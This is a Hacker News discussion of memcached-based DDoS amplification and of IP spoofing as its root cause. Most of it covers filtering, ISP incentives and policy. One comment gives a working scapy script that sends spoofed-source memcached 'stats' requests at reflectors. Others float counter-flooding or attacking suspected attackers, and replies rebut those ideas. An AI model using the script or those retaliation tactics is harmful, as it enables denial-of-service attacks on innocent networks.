
It has gotten much easier to wage record-breaking DDoSes - seagullz
https://arstechnica.com/information-technology/2018/03/it-just-got-much-easier-to-wage-record-breaking-ddoses/
======
majke
In my humble the focus should be less on memcached, which is today's problem.
It should be on IP spoofing in general:

[https://blog.cloudflare.com/the-root-cause-of-large-ddos-
ip-...](https://blog.cloudflare.com/the-root-cause-of-large-ddos-ip-spoofing/)

We will have amplification attacks as long as we have ISPs that permit (and
benefit) from spoofing.

~~~
w8rbt
It's a simple fix. Just need an egress ACL. UDP packets with source IPs not
from here should never make it past the edge router.

Lies, damn lies and UDP packets.

~~~
gbhn
What are the reasons this has been so difficult? It seems like this must have
been desirable for decades. Is the config of internal and external just
tricky? Does some legitimate traffic use this so it's difficult to get
everyone to switch to alternatives?

~~~
dyu
There are some incentive misalignments. Each AS that configures it is doing it
to protect its neighbors, and does not benefit from itself having configured
this way. Best practice suggestions only go so far.

Another aspect is, if you configure it not just with your own prefixes but
also that of your peers and downstreams (and their downstreams etc), then you
need a source of ground truth. (Remember that not all ASes need to announce
everything they have, all the time.) This is usually an out of band database.
Then you have the problem of database needing to verify the truth, and keeping
all the data fresh, etc.

------
shpx
That code [0] is just input() calls and a query to the
[https://www.shodan.io/](https://www.shodan.io/) API[1] (and poorly written if
I'm being honest). Using memcache for ddos amplification can be done with a
trivial python script

    
    
        from scapy.all import IP, UDP, Raw, send
    
        target = '127.0.0.256'
    
        with open('ips.txt', 'r') as f:
            ips = f.readlines()
    
        payload = '\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n'
        while True:
            for ip in ips:
                send(IP(src=target, dst=ip) / UDP(dport=11211) / Raw(load=payload), count=100, verbose=0)
    

You can get ips.txt from
[https://pastebin.com/eSCHTTVu](https://pastebin.com/eSCHTTVu) (like the
article says)

[0] [https://github.com/649/Memcrashed-DDoS-
Exploit/blob/master/M...](https://github.com/649/Memcrashed-DDoS-
Exploit/blob/master/Memcrashed.py)

[1] [https://github.com/649/Memcrashed-DDoS-
Exploit/blob/3422efc0...](https://github.com/649/Memcrashed-DDoS-
Exploit/blob/3422efc009a43451281d165e8b9979189c405ff1/Memcrashed.py#L67)

------
codexon
Looks like compared to other ddos vectors it isn't that bad, because you can
actually shut them down yourself unlike snmp etc...

Any unsecured memcache server will also allow anyone to shut it down remotely.

[https://github.com/649/Memfixed-Mitigation-
Tool](https://github.com/649/Memfixed-Mitigation-Tool)

This problem will disappear in days when people notice their memcache servers
randomly shutting down unlike the other ones where you are out of luck if the
ISP doesn't look at their abuse inbox ever.

------
tyingq
It was Mongodb, dns, tftp, ntp, and cheap home router admin interfaces before,
memcached this time. Fixing memcached is important, sure, but it won’t be the
last amplification vector.

~~~
iforgotpassword
The interesting part is that almost every time the amplification factor
increased. NTP was a big iirc, but this is really huge. I find it hard to
believe they'll ever discover something that yields an even higher ratio, but
saying "never" in this kind of situation will eventually make one look stupid
one day.

Thinking about it, I could imagine a bug in some software where it just takes
one malformed UDP packet to trigger an infinite amount of response packets or
something like that. That would be so bad it starts being hilarious again.

------
draugadrotten
How about solving it by social rather than technical means? By that I mean
that most suggested solutions focus on limiting the traffic, the HOW. The How
is well known since many years, what is not working is WHEN. Right now,
traffic is blocked WHEN someone decides it is blocked. There is little
automation for many reasons. There are many technical proposals on the WHEN.
Technical solutions include egress filtering or various types of filtering
firewall devices. A social proposal could be to form a trusted group of
individuals or organizations that are allowed to publish a blacklist, which is
updated and distributed across public channels such as twitter. Anyone running
a router can then filter based on this blocklist. This solution would mimic
the spam filters of the world but focus on routers rather than mail servers.
Edge routers makes very little difference here, and the situation is the same
in the world of mail servers, where it makes a lot more impact to be filtered
by outlook.com than by Jane Doe running exim in the garage. Perhaps this type
of social distributed solution is in place already and I just am unaware.
Otherwise... I hope HN is well connected and makes the internet a better
place.

~~~
codedokode
My suggestion is to allow to fight back (you can send 100 packets back for
every incoming packet) - if someone DDOSes Github then they get 1 Gbps of
flood and go off the network (maybe with their ISP that didn't do proper job
to prevent attacks).

~~~
landryraccoon
Doesn't this just make the problem worse?

Your attacker can just spoof that the attack is coming coming from the target,
and you've just amplified the attack by 100x. Now they only need to spoof 1%
of the traffic they did before, because you want the network to make a possee
and lynch suspected DDOSers..

------
Analemma_
Why don't ISPs block packets with a source IP originating outside their
network? It would shut down attacks like this in an instant, and it would
_save_ them money on peering costs for floods of junk traffic.

~~~
tyingq
A great idea that dates back almost 20 years, but hasn’t gained any traction.
[https://tools.ietf.org/html/rfc2827](https://tools.ietf.org/html/rfc2827) and
[https://tools.ietf.org/html/bcp38](https://tools.ietf.org/html/bcp38)

It’s very similar to the issue with VOIP and caller ID spoofing.

No idea why either hasn’t moved at all.

~~~
viraptor
VoIP and Cid spoofing is simply due to gov not enforcing rules against it.
There are valid technical reasons to allow Cid spoofing sometimes, but if
you're with a reasonable provider, you usually have to sign some disclaimer
that you won't abuse it and take the legal responsibility.

The are probably existing laws against the abuse depending on your country.
They're just not enforced.

It's much easier to trace than IP traffic as well. Every internet telco will
have full logs of each connection.

~~~
MichaelGG
There are a lot of technical reasons. At the wholesale level there is no way
to know if a source is valid. Even AT&T routes to dozens of providers for some
calls and has no idea what is going where. Even local calls from someone in
your own city might end up on someone else's VoIP network to get connected.

It is true though if the FCC started handing down fines that VoIP providers
would require insurance/bonding all the way up. That would not fix it all but
would be a large jump forward.

We also need end-users to force the issue. File suits and complaints. Every
time we'd receive a complaint the resolution was "we blocked that number" and
"we have no further info". If there was someone pushing a lawsuit through then
suddenly everyone up the supplier chain would hand over their customer info
right to the real end-user.

Instead, the FCC runs silly programs like their Anti-Robo-Dialer thing.

~~~
viraptor
> At the wholesale level there is no way to know if a source is valid.

Only the first party needs to know the answer. The enforcing org can ask the
first telco: was it your subscriber who initiated? If yes, fine the
subscriber. If not, repeat with the telco that sent the call. If the last
telco knowingly helped, fine it as well.

> Even AT&T routes to dozens of providers for some calls and has no idea what
> is going where.

Lol. :-) Every single connection initiated exists in very detailed CDRs. That
includes the path used as well, since they have to deal with billing other
telcos for handling their calls and finding the right (cheap) path at the
right time. Telcos either have full records, or they lost money. I can't think
of a business with more detailed record of every single transaction they make.
Probably even accounting is less strict.

------
w8rbt
One day, only governments and criminals will be able to send UDP packets.

------
codedokode
This is super easy to fix. You know the source IP addresses of memcached
servers. Just send to them a spoofed packet with their own IP so that they
attack themselves. Or if you know that your competitor is behing the attack,
just attack them.

~~~
blackflame7000
Perhaps you don't understand how this attack works. An attacker A sends
request to 1 million memcache servers with your IP. You get 1 million replies
from 1 million different IPs completely whipping you offline. So you won't be
sending anything for a bit and even if you did, you're fighting 1 million
memcacheBots to you need to take them all offline before your modem can
breathe again. (its probably on fire at this point) Finally, since you are
being attacked by memcached servers responding to a request that appeared to
come from you, you can't figure out who your attacker was. Nevertheless, if
you have a good hunch don't let that stop you from committing a felony against
your competitor.

------
codedokode
One of the way to fight DDOS could be to allow those who are under attack send
traffic to the origin of the attack. So for example, if you receive 1 Mbps of
traffic from some IP, you can send 100 Mbps back.

If the origin is an infected computer, then it will most likely go off the
network, and will stop participating in the attack. If the origin is a data
center, then they will lose connetivity and it will motivate them to cure
infected servers.

~~~
landryraccoon
What do you do if the attacker spoofs the IP address of an innocent third
party? Now you send them 100 Mbps, and they retaliate by sending you 10 GB?

All this does is amplify the DDOS attack. You're making it easier to DDOS
yourself, not harder.

~~~
lima
Third party isn't innocent in this case. Not that I'd condone any sort of
vigilante justice, but leaving memcached servers open and ignore abuse
messages is reckless.

